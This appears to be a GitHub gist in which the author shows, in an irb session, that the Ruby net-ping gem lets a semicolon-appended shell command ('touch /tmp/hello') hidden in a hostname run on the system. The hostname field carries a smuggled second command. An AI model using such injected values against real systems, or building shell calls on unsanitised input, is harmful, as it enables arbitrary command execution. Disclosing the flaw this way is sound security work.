Skip to content

Instantly share code, notes, and snippets.

@jyotty
Created December 6, 2013 23:03
Show Gist options
  • Save jyotty/7833656 to your computer and use it in GitHub Desktop.
Save jyotty/7833656 to your computer and use it in GitHub Desktop.
rubygems quality
$ irb
irb(main):001:0> require 'net/ping'
=> true
irb(main):002:0> p = Net::Ping::External.new('www.google.com; touch /tmp/hello')
=> #<Net::Ping::External:0x007fc95a949488 @host="www.google.com; touch /tmp/hello", @port=7, @timeout=5, @exception=nil, @warning=nil, @duration=nil>
irb(main):003:0> p.ping?
=> true
irb(main):004:0> ^D
$ ls -l /tmp/hello
-rw-r--r-- 1 josh wheel 0 Dec 6 14:57 /tmp/hello
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment